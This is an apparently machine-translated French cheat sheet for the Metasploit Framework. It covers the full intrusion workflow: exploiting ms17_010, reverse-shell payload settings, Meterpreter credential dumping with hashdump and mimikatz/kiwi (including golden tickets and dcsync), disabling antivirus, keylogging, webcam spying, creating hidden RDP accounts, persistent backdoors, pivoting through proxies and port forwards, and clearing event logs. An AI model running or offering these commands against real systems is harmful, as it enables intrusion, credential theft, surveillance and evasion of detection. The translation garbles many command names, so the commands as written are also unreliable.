Metasploit Framework (msf) contient des milliers de vulnérabilités logicielles connues et est continuellement mis à jour. Metasploit peut être utilisé pour l'ensemble du processus de test d'intrusion tel que la collecte d'informations, la détection et l'exploitation des vulnérabilités. Il est écrit en langage Ruby. Piratez le titre de l'univers entier ! ! !
Intention initiale : enregistrer le processus de test d'intrusion de msfconsole, ainsi que certaines commandes couramment utilisées à chaque étape du processus. Vous pouvez y signaler certaines lacunes. J'ajouterai des suppléments à ce blog et noterai également les noms de chacun dans le supplément. dans le chapitre! ! Travaillons ensemble ^-^
Après la publication de ce chapitre, des tests pratiques seront publiés ultérieurement et les commandes communes pour Win et Linux seront également mises à jour.
msf fourni avec Kali, mise à niveau et mise à jour
Processus d'utilisation de pénétration de base
Paramètres des paramètres de charge utile d'attaque
Meterpreter [outil post-exploitation après obtention de l'autorisation]
Fonctionnalités de Meterperter [Module de post-pénétration]
Commande de post-pénétration [commande d'informations sur le système hôte win]
Processus post-infiltration [Commandes communes pour le processus]
Utilisez mimikatx pour récupérer les mots de passe
Élever les privilèges [Élever les privilèges de Win au système]
Utilisation du module KiWi (le module mimikatz intégré dans msf est remplacé par kiwi)
Module de post-pénétration [Configuration des paramètres de l'application d'installation hôte]
Module de post-pénétration [Paramètres d'opération en arrière-plan]
Créer une porte dérobée persistante
Description des paramètres de routage
système gagnant de redirection de port portfwd
PowerShell collecte des informations sur le domaine
Remarque : commande de chargement du module Meterpreter
msf fourni avec Kali, mise à niveau et mise à jour
apt update met à jour les informations du package d'installation, vérifie uniquement mais ne met pas à jour
apt update met à jour les packages installés sans supprimer les anciens packages
package de mise à niveau complète apt, supprimez l'ancien package
Si Kali n’est pas utilisé pendant une longue période, la signature numérique expirera, rendant impossible la mise à jour de la source.
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key ajoute une solution
Processus d'utilisation de pénétration de base
msfconsole entre dans la recherche de cadre ms17_010
rechercher pour trouver les modules d'attaque de vulnérabilité associés (Auxiliary est un module de détection auxiliaire pour détecter si la vulnérabilité existe, exploit est un module d'exploitation de vulnérabilité)
utiliser xxx/xxx/xxx utiliser le module d'attaque sélectionné
info Utilisez info pour afficher les informations sur le type de vulnérabilité (version du système ciblé, version linguistique)
show payloads Afficher les charges utiles qui peuvent être exploitées par cette vulnérabilité
définir la charge utile xxx/xxx Définir la charge utile d'attaque
show options Afficher les paramètres qui doivent être configurés par le module
show cibles Afficher les plates-formes système attaquables (par défaut, la version et la langue du système d'exploitation cible seront automatiquement déterminées)
définir xxxx définir les paramètres
exploiter / exécuter sauvegarder / attaquer (s'il s'agit d'une détection, le signe + indique l'existence de la vulnérabilité) phase post-pénétration
Paramètres des paramètres de charge utile d'attaque
set RHOST 192.168.100.158 #Set RHOST, ce qui signifie attaquer l'adresse IP de l'hôte
set LHOST 192.168.100.132 #Set LHOST, qui est l'adresse IP de notre hôte, utilisée pour recevoir le shell renvoyé par la machine cible
set lport 6666 #Définissez lport, qui est le port de notre hôte, et faites rebondir le shell sur ce port ; si nous ne définissons pas lport ici, la valeur par défaut est 4444 ports d'écoute ;
Meterpreter [outil post-exploitation après obtention de l'autorisation]
Meterpreter est une charge utile de scène. Dans le framework Metasploit, Meterpreter est une charge utile qui peut être étendue via le réseau pendant le fonctionnement. Cet outil est basé sur le concept « d'injection de DLL mémoire » , qui permet au système cible d'exécuter le fichier DLL injecté en créant un nouveau processus et en appelant la DLL injectée.
Flux de travail : la cible doit d'abord effectuer une connexion initiale de session de vulnérabilité de débordement, qui peut être une connexion de liaison avant ou une connexion d'inversion de rebond. Lors du rebond de la connexion, le fichier de lien dll est chargé et le fichier dll est traité silencieusement en arrière-plan. Ensuite, initialisez-le via le code principal de Meterpreter, établissez un tunnel crypté TLS/1.0 via le socket et envoyez une requête GET au serveur Metasploit. Après avoir reçu la requête GET, le serveur Metasploit configure le client correspondant. Enfin, Meterpreter charge l'extension et toutes les extensions chargées transmettent les données via TLS/1.0.
Fonctionnalités de Meterperter [Module de post-pénétration]
Meterpreter réside entièrement en mémoire et n'écrit pas sur le disque
Meterpreter ne crée pas de nouveau processus lorsqu'il est injecté et peut être facilement transplanté dans d'autres processus en cours d'exécution. Les communications Mertepreter sont cryptées par défaut, elles sont donc sécurisées
Extensibilité, de nombreux nouveaux modules de fonctionnalités peuvent être chargés.
Lors de la définition de la charge utile, vous pouvez la définir comme lien inverse et obtenir Meterpreter>
Vous pourrez ensuite suivre le processus de pénétration
? [Saisir directement ? , vous pouvez voir la description du paramètre dans Meterpreter]
arrière-plan [meterpreter peut être monté pour fonctionner en arrière-plan]
sessions -l [Afficher la liste des sessions meterpreter_shell obtenue]
Commande de post-pénétration [commande d'informations sur le système hôte win]
sysinfo Afficher les informations sur le système hôte cible
exécuter Scraper pour afficher les détails de l'hôte cible
exécuter hashdump exporte le hachage du mot de passe
charger kiwi charger mimikatz
ps Afficher les informations sur le processus de l'hôte cible
pwd Afficher le répertoire cible actuel (windows)
getlwd Afficher le répertoire actuel du répertoire (linux) search -f *.jsp -de:\ Rechercher tous les fichiers avec le suffixe .jsp dans le lecteur e
télécharger e:\test.txt /root Téléchargez le fichier e:\test.txt de l'hôte cible dans le répertoire /root
télécharger /root/test.txt d:\test Télécharger /root/test.txt dans le répertoire d:\test\ de la machine du répertoire
getpid Afficher le PID du processus du shell Meterpreter
migrate 1384 Migrer le processus shell Merterpreter actuel vers le processus avec le PID 1384
temps d'inactivité Afficher la durée d'exécution de l'hôte
getuid Afficher les autorisations actuellement obtenues
Getsystem élève les privilèges uniquement si l'utilisateur actuel obtenu est administrateur.
exécuter killav désactive le logiciel antivirus
capture d'écran capture d'écran
webcam_list Afficher les caméras de l'hôte cible
webcam_snap prendre une photo
webcam_stream ouvrir la vidéo
paramètre d'exécution -f fichier exécutable exécute le programme exécutable
exécutez getgui -u testl -p ABC123 Créer un utilisateur testl avec le mot de passe ABC123
exécutez getgui -e démarre le bureau à distance
keyscan_start active la fonction de keylogging
keyscan_dump affiche les informations de keylogging capturées
keyscan_stop arrête la fonction de keylogging
uictl désactiver le clavier interdit à la cible d'utiliser le clavier
uictl activer le clavier permet à la cible d'utiliser le clavier
uictl désactiver la souris interdit à la cible d'utiliser la souris
uictl activate mouse permet à la cible d'utiliser la souris
le chargement utilise la bibliothèque d'extensions
exécuter en utilisant la bibliothèque d'extensions
Module de pénétration post-POST [Attaque de pénétration après avoir pris le contrôle de l'hôte cible]
gérer
exécuter la migration automatique des processus post/windows/manage/migrate
exécutez post/windows/manage/killav pour désactiver le logiciel antivirus
exécutez post/windows/manage/enable_rdp pour ouvrir le service de bureau à distance
exécutez post/windows/manage/autoroute pour afficher les informations de routage
exécutez post/windows/manage/enable_rdp USERNAME=SS2 PASSWORD=123456
Ajouter un utilisateur de bureau à distance
exécutez post/windows/manage/enable_rdp FORWARD=true LPORT=6662
Port de transfert 3389 à 6662
rassembler
exécuter les listes post/windows/gather/enum_logged_on_users des utilisateurs actuellement connectés
exécutez post/windows/gather/enum_applications pour lister les applications
exécutez post/windows/gather/credentials/windows_autologin récupérez le nom d'utilisateur et le mot de passe de la connexion automatique. exécutez post/windows/gather/smart_hashdump dump le hachage de tous les utilisateurs
exécutez post/windows/gather/enum_domain pour afficher le contrôle de domaine
exécuter les informations sur le correctif post/windows/gather/enum_patches [obtenir s'il existe un numéro de correctif msf qui peut être directement utilisé]
exécutez post/windows/gather/checkvm pour vérifier si l'hôte cible s'exécute sur une machine virtuelle
Processus post-infiltration [Commandes communes pour le processus]
sysinfo Afficher les informations sur l'hôte cible
exécutez post/windows/gather/checkvm pour vérifier si l'hôte s'exécute sur une machine virtuelle
exécuter killav désactive le logiciel antivirus de l'hôte cible
run scraper obtient les détails de l'hôte cible et accède au système de fichiers
pwd afficher le répertoire actuel
le chat lit le contenu du fichier
rm supprimer des fichiers
modifier Modifier les fichiers à l'aide de vim
mkdir crée un nouveau répertoire
rmdir supprimer le répertoire
télécharger le fichier Aide à télécharger des fichiers à partir du système cible
duload file (fichier) Télécharger des fichiers sur le système cible
La commande getuid peut obtenir les informations de l'utilisateur actuel
getsystem élève automatiquement les privilèges aux privilèges système
Utilisez mimikatx pour récupérer les mots de passe
exécutez windows/gather/credentials/windows_autologin pour récupérer le nom d'utilisateur et le mot de passe pour la connexion automatique
exécuter hashdump export hash format d'exportation du mot de passe : nom d'utilisateur : SID : hachage LM : hachage NTLM : :
L'utilisation de la commande run windows/gather/smart_hashdump nécessite des autorisations système
Condition préalable : des autorisations système sont requises pour exécuter mimikatz et lors de l'exécution, la sélection doit être basée sur le numéro de système actuel.
Vérifiez d'abord les autorisations de la session en cours (getuid), puis regardez le numéro du système (sysinfo), (télécharger) le chemin absolu du fichier téléchargé, exécutez -i -f mimikatz.exe (exécuter) [Remarque : mimikatz doit utiliser autorisations système ]
Récupérez le mot de passe : privilège : debug
sekurlsa :: mots de passe de connexion
Élever les privilèges [Élever les privilèges de Win au système]
1. L'autorisation actuelle est l'utilisateur administrateur
2. Utilisez d'autres moyens pour élever d'abord les privilèges à l'utilisateur administrateur. Ensuite, l'utilisateur administrateur peut utiliser directement la commande getsystem dans meterpreter_shell pour élever les privilèges aux privilèges système.
getuid Afficher l'identité de l'utilisateur de la session actuelle
getsystem tente d'augmenter automatiquement les privilèges
Utilisation du module KiWi (le module mimikatz intégré dans msf est remplacé par kiwi)
Le module mimikatz intégré dans msf a été remplacé par kiwi
Condition préalable : élever les droits aux autorisations système. Le chargement par défaut de kiwi est de 32 bits. Si l'hôte cible est un système 64 bits, Ze doit d'abord consulter la liste des processus système, puis migrer le processus Meterpreter vers un processus de programme 64 bits avant de charger kiwi et d'afficher le texte brut du système.
sysinfo Afficher le système
ps pour vérifier s'il existe des processus 64 bits
migrer le processus PID migre vers Pid
kiwi_cmd sekurlsa::logonpasswords peut utiliser toutes les fonctions de mimikatz
processus de visualisation PS
charger kiwi charge le module kiwi
aider kiwi Voir le module kiwi
creds_all énumère toutes les informations d'identification et peut énumérer les mots de passe en texte clair dans le système
creds_kerberos répertorie toutes les informations d'identification Kerberos
creds_msv répertorie toutes les informations d'identification msv
creds_ssp répertorie toutes les informations d'identification ssp
creds_tspkg répertorie toutes les informations d'identification tspkg
creds_wdigest répertorie toutes les informations d'identification wdigest
dcsync Récupérer les informations du compte utilisateur via dcsync
dcsync_ntlm Récupérer le hachage NTM, le SID et le RID du compte utilisateur via dcsync
golden_ticket_create crée un ticket doré
kerberos_ticket_list répertorie les tickets Kerberos
kerberos_ticket_purge efface les tickets Kerberos
kerberos_ticket_use utiliser des tickets Kerberos
kiwi_cmd exécute la commande mimikatz, suivie de la commande mimikatz.exe lsa_dump_sam vide le SAM de lsa
lsa_dump_secrets vide le texte chiffré de lsa
password_change changer le mot de passe
wifi_list répertorie les fichiers de configuration wifi de l'utilisateur actuel
wifi_list_shared répertorie les profils/encodages wifi partagés
Module de post-pénétration [Configuration des paramètres de l'application d'installation hôte]
exécutez post/windows/gathtier/enum_applications pour voir quelles applications sont installées sur l'hôte cible
exécuter + [paramètre]
-f faux jeton de thread pour exécuter le fichier exécutable spécifié
-H crée un processus caché
-a paramètres passés à la commande
-j'interagis avec le processus
-m exécuter depuis la mémoire
-t utiliser le processus de ligne actuel
-s exécute le processus dans la session donnée
capture d'écran Prendre une capture d'écran de l'écran de l'hôte cible
exécutez post/windows/gather/enum_logged_on_users pour vérifier s'il y a des utilisateurs sur l'hôte cible
créer un compte:
Méthode 1 : exécutez getgui -u username -p password
Méthode 2 : exécutez post/windows/manage/enable_rdp username=xxx password=xxxx
Activer le bureau à distance :
Idletime vérifie le temps d'inactivité de l'utilisateur distant
exécutez post/windows/manage/enable_rdp pour ouvrir le bureau à distance
exécutez post/windows/manage/enable_rdp FORWARD=true LPORT=6662 Transférer le port 3389 vers le port 6662
Module de post-pénétration [Paramètres d'opération en arrière-plan]
Enregistreur de frappe :
keyscan_start active la fonction de keylogging
keyscan_dump affiche les informations de keylogging capturées
keyscan_stop arrête la fonction de keylogging
Empêchez l'hôte cible d'utiliser le clavier et la souris :
uictl désactivé (activer) le clavier empêche la cible d'utiliser le clavier
uictl désactiver (activer) la souris interdit à la cible d'utiliser la souris
La caméra hôte cible prend des photos :
webcam_list Récupère la liste des caméras du système cible
webcam_snap prend des photos à partir de la caméra spécifiée
webcam_stream démarre la vidéo de la caméra spécifiée
charger/utiliser le module de chargement
load -l répertorie toutes les extensions disponibles
charger -help aide ;
Instructions : Générez un cheval de Troie de porte dérobée et placez-le dans le répertoire de démarrage de Windows : C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Démarrage du service : exécutez exploit/windows/local/peristence lhost=192.168.100.132 lport=xxx
Connexion de processus 192.168.100.132 : 8888 [Inconvénient : facile à tuer]
netstat -ano : findstr « 8888 »
Créer une porte dérobée persistante
La connexion établie par le module Meterpreter basée sur la DLL mémoire doit laisser une porte dérobée persistante à l'intérieur du système cible.
Deux façons:
L'un est démarré via les éléments de démarrage (persistance),
Le deuxième service démarre (metsvc)
Éléments de démarrage :
Il faut d'abord générer un cheval de Troie de porte dérobée, puis le placer dans le répertoire de démarrage de Windows. Tant que l'ordinateur est allumé, la connexion au port correspondant peut être démarrée.
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Démarrage du service :
exécutez exploit/windows/local/persistence lhost=192.168.100.132 lport=8888
#Il se connectera automatiquement au port 8888 du 192.168.100.132. L'inconvénient est qu'il est facile à détecter par un logiciel antivirus.
MSF crée un proxy chaussettes
Il existe trois modules proxy dans msf, chaussettes4a, chaussettes5 et chaussettes_unc. chaussettes5 peut définir le nom d'utilisateur et le mot de passe, mais parfois msf n'écoutera pas le port, ce qui peut entraîner l'échec du proxy. Utilisez auxiliaire/serveur/socks. Utilisez ce module. Le module chaussettes ici définit simplement le proxy pour qu'il écoute (la valeur par défaut est 1080), c'est-à-dire que le trafic via les chaînes proxy est transféré vers le port local 1080, et comme il s'agit du port d'écoute démarré par MSF, le processus via le le proxy peut également accéder à l’intranet.
Paramètres du proxy:
Changez le module dans msf pour utiliser auxiliaire/server/socks_proxy
show options Afficher les détails du module Définir l'adresse IP et le port de l'interface pour la surveillance des chaussettes
définir l'adresse IP SRVHOST (127.0.0.1) et définir le port SRVPORT
Paramètres proxy de chaussettes4a :
utiliser auxiliaire/serveur/socks4a
définir SRVHOST 0.0.0.0
définir l'exécution de SRVPORT 1080
Paramètres proxy chaussettes5 :
utiliser auxiliaire/serveur/socks5
définir SRVHOST 0.0.0.0
définir SRVPORT 1080
définir la racine USERNAME
définir MOT DE PASSE Mot de passe@
courir
Agent de connexion :
Modifiez le fichier de configuration du programme proxychains local vim /etc/proxychains.conf. Le navigateur doit également configurer un proxy. Vous pouvez accéder à l'intranet directement via le navigateur et trouver la ProxyList.
[Liste des proxys]
Ajouter chaussettes5 0.0.0.0 Mot de passe root 1080 [1080 est le port d'écoute]
Lorsque vous utilisez nmap pour tester le programme, vous devez utiliser proxychains4 nma -sT -Pn xxxx.
Configuration du routage
[Ajouter un routage avant d'utiliser un proxy]
Ajoutez d’abord une route afin que MSF puisse atteindre le réseau interne de la machine cible.
route add 209.98.32.33 mask 255.255.255.224 202.96.123.3 metric 5 Exécuter la commande pour ajouter une route
impression de l'itinéraire imprime la destination de l'itinéraire
itinéraire supprimer 209.98.32.33 supprimer itinéraire
changement d'itinéraire 209.98.32.33 masque de réseau 255.255.255.224 202.96.123.3 métrique 5 [modifier la passerelle 209.98.32.33 en 202.96.132.3]
Redirection d'itinéraire :
première méthode :
itinéraire Afficher les informations sur le segment de réseau
background met le processus en cours en arrière-plan et revient à msf
route add 172.16.10..0 255.255.255.0 1 Ajouter une route (1 est le numéro de session en attente)
impression d'itinéraire
Afficher les informations de routage
Méthode 2 : utiliser post/multi/manage/autoroute
définir l'exploit de la session 1 [Charger ce module directement et appeler la session]
Inconvénients : le transfert de proxy de cette manière ne peut être utilisé que par msf, d'autres applications ne peuvent pas l'utiliser et d'autres applications doivent ajouter un proxy sock.
Description des paramètres de routage
add ajoute des enregistrements de routage
supprimer supprimer les enregistrements de routage
réseau de destination cible ou hôte de destination
gw définit la passerelle par défaut
mss définit la longueur maximale de bloc de TCP, en Mo
windows spécifie la taille de la fenêtre TCP pour les connexions TCP via la table de routage
dev L'interface réseau représentée par l'enregistrement de routage
netmask définit la longueur du masque
-A définit le type d'adresse
-c imprime le cache de routage du noyau Linux
-v afficher des informations détaillées
-n n'effectue pas de recherche inversée DNS et affiche directement l'adresse IP sous forme numérique
-e format netstart affiche la table de routage
-net Table de routage vers un réseau
-table de routage d'hôte vers un hôte
système gagnant de redirection de port portfwd
portfwd ajouter -l 9999 -r 192.168.100.158 -p 3389
#Transférer le port 3389 du 192.168.11.13 vers le port local 9999. 192.168.100.158 voici le droit d'obtenir
L'adresse IP de l'hôte restreint
portfwd ajouter -l 9999 -r 192.168.100.158 -p 3389
-l port d'écoute local
-p port du serveur cible
add ajoute une connexion
Transférer le port cible vers le port d'écoute local pour recevoir les rebonds de port de l'hôte cible
rdesktop 127.0.0.1:9999 Accédez au port local 9999 pour vous connecter au port 3389 de l'hôte cible
clearev #effacer le journal
PowerShell collecte des informations sur le domaine
charger PowerShell charge la fonction PowerShell
powershell_import /root/PowerView.ps1 Importez le script PowerShell et placez-le à l'avance dans la cible spécifiée
powershell_execute Get-NetDomain Ce module obtient des informations sur le domaine
powershell_execute Invoke-UserHunter Ce module fonction est utilisé pour localiser l'hôte sur lequel l'administrateur de domaine se connecte powershell_execute Get-NetForest Ce module est utilisé pour localiser les informations sur le domaine powershell_execute Invoke-EnumerateLocalAdmin
Énumérer les membres du groupe Administrateurs local sur tous les ordinateurs du domaine
Remarque : commande de chargement du module Meterpreter
La commande du module Meterpreter est incomplète. Vous pouvez exécuter la commande Load lstdapi pour charger la commande d'achèvement.
Parfois la post-pénétration reçue n'est pas une session de type Meterperpreter, vous pouvez utiliser sessions -u id pour mettre à niveau la session. Lors de l'exécution de cette commande, /post/multi/manage/shell_to_meterpreter est appelé par défaut.
L'identifiant dans les sessions -u id est l'identifiant de la charge utile